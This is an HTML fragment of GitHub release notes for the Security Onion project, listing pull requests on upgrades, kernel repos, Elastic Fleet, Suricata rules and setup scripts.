<li>use pipe exit status for update_docker_containers by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4624405558" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15964" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15964/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15964">#15964</a></li>
<li>remove startup states from salt config by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m0duspwnens/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m0duspwnens">@m0duspwnens</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4625159062" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15965" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15965/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15965">#15965</a></li>
<li>Jertel/wip by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jertel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jertel">@jertel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4640332325" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15967" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15967/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15967">#15967</a></li>
<li>update so-elastic-fleet-package-upgrade script by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4634586159" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15966" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15966/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15966">#15966</a></li>
<li>userid vs names by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/defensivedepth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/defensivedepth">@defensivedepth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4665425573" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15971" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15971/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15971">#15971</a></li>
<li>Data stream lifecycle management support by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4667904235" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15973" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15973/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15973">#15973</a></li>
<li>remove pillar merge by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4675048840" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15978" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15978/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15978">#15978</a></li>
<li>es|ql defaults by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jertel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jertel">@jertel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4668252386" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15974" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15974/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15974">#15974</a></li>
<li>add context to soup errors by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4678627078" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15979" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15979/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15979">#15979</a></li>
<li>Pin NIC names by MAC via udev (run-once) from the common state by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TOoSmOotH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TOoSmOotH">@TOoSmOotH</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4644720946" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15970" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15970/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15970">#15970</a></li>
<li>don't create stack trace when set -e is disabled by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4695569884" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15982" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15982/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15982">#15982</a></li>
<li>wip by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m0duspwnens/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m0duspwnens">@m0duspwnens</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4720452831" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15983" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15983/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15983">#15983</a></li>
<li>Upgrade registry by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jertel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jertel">@jertel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4720457666" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15984" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15984/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15984">#15984</a></li>
<li>allow manager two full highstates during soup, improve elastic script runtime by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m0duspwnens/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m0duspwnens">@m0duspwnens</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4720464655" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/15985" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/15985/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/15985">#15985</a></li>
<li>remove heayvnode FleetServer_* directory creation, and skip empty dir… by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4729330199" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16006" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16006/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16006">#16006</a></li>
<li>Fix premature fail_setup function call in so-setup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/triggerman86/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/triggerman86">@triggerman86</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4728920457" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16005" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16005/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16005">#16005</a></li>
<li>support multiple capinfos versions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jertel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jertel">@jertel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4744559410" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16008" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16008/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16008">#16008</a></li>
<li>Add UEK8 kernel repo support across install and grid by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TOoSmOotH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TOoSmOotH">@TOoSmOotH</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4728050611" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16000" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16000/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16000">#16000</a></li>
<li>Set transport for ssl.established:false logs by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/defensivedepth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/defensivedepth">@defensivedepth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4746467134" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16009" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16009/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16009">#16009</a></li>
<li>Switch boot default to UEK8 kernel and gate kernel repo on salt version by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TOoSmOotH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TOoSmOotH">@TOoSmOotH</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4752331859" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16011" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16011/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16011">#16011</a></li>
<li>Serve /kernelrepo through nginx so minions can reach the kernel repo by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TOoSmOotH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TOoSmOotH">@TOoSmOotH</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4753377881" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16012" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16012/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16012">#16012</a></li>
<li>update so-stop | so-start | so-restart scripts by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4754214788" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16013" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16013/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16013">#16013</a></li>
<li>soup upgrade kafka cluster metadata v4 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4779153607" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16018" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16018/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16018">#16018</a></li>
<li>suricata: verify reloaded ruleset is newer than the rules file by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m0duspwnens/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m0duspwnens">@m0duspwnens</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4786239286" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16021" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16021/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16021">#16021</a></li>
<li>remove outdated eval script and associated salt utility state by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4787290010" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16024" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16024/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16024">#16024</a></li>
<li>update airgap soup to sync uek repo from iso by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4786914499" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16023" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16023/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16023">#16023</a></li>
<li>increase wait_for_so-kibana timeout to 10m by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788172978" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16027" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16027/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16027">#16027</a></li>
<li>duplicate repo name in so-repo-sync by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4788922001" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16028" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16028/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16028">#16028</a></li>
<li>only reload suricata rules if all-rulesets.rules exists by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/m0duspwnens/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/m0duspwnens">@m0duspwnens</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4789051639" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16029" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16029/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16029">#16029</a></li>
<li>avoid setup failure reason ambiguity by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jertel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jertel">@jertel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4794628641" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16033" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16033/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16033">#16033</a></li>
<li>update default hunt query by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4795677184" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16035" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16035/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16035">#16035</a></li>
<li>support sigma playbooks by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/defensivedepth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/defensivedepth">@defensivedepth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4780158430" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16019" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16019/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16019">#16019</a></li>
<li>Add cluster_health option to telegraf.conf by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TOoSmOotH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TOoSmOotH">@TOoSmOotH</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4823227144" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16039" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16039/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16039">#16039</a></li>
<li>Add repo names by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/defensivedepth/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/defensivedepth">@defensivedepth</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4828190402" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16041" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16041/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16041">#16041</a></li>
<li>Feature/agentic by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/coreyogburn/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/coreyogburn">@coreyogburn</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4789203859" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16030" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16030/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16030">#16030</a></li>
<li>recollate databases by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jertel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jertel">@jertel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4833680124" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16046" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16046/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16046">#16046</a></li>
<li>verify elastic-agent reports healthy status before completing install… by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4832456835" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16045" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16045/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16045">#16045</a></li>
<li>add missing so-logs-soc annotation by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840347183" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16049" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16049/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16049">#16049</a></li>
<li>restart soc after re-initing db by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jertel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jertel">@jertel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4840730029" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16050" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16050/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16050">#16050</a></li>
<li>elastic fleet server persistence by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4841221964" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16052" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16052/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16052">#16052</a></li>
<li>exit so-setup early for issues with so-elastic-fleet-setup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4849258363" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16055" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16055/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16055">#16055</a></li>
<li>toggle pg metrics by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jertel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jertel">@jertel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4855950074" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16058" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16058/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16058">#16058</a></li>
<li>status messages for so-elastic-fleet-setup by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4857401802" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16059" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16059/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16059">#16059</a></li>
<li>ES 9.3.7 by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4876499221" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16062" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16062/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16062">#16062</a></li>
<li>prevent login redirect to any API url by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jertel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jertel">@jertel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4885685461" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16064" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16064/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16064">#16064</a></li>
<li>soup: make failed upgrades and hotfixes resumable by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TOoSmOotH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TOoSmOotH">@TOoSmOotH</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4887180505" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16069" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16069/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16069">#16069</a></li>
<li>Install UEK8 in so-kernel-upgrade when no UEK kernel is present by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/TOoSmOotH/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/TOoSmOotH">@TOoSmOotH</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4848603238" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16054" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16054/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16054">#16054</a></li>
<li>include so-yaml.py in get_soup_script_hashes() so we ensure its at la… by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/reyesj2/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/reyesj2">@reyesj2</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4904472927" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16074" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16074/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16074">#16074</a></li>
<li>Fix typos in CPU affinity descriptions by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/dougburks/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/dougburks">@dougburks</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4905218235" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16075" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16075/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16075">#16075</a></li>
<li>ignore file already closed by <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/jertel/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/jertel">@jertel</a> in <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4912435536" data-permission-text="Title is private" data-url="https://github.com/Security-Onion-Solutions/securityonion/issues/16078" data-hovercard-type="pull_request" data-hovercard-url="/Security-Onion-Solutions/securityonion/pull/16078/hovercard" href="https://github.com/Security-Onion-Solutions/securityonion/pull/16078">#16078</a></li>
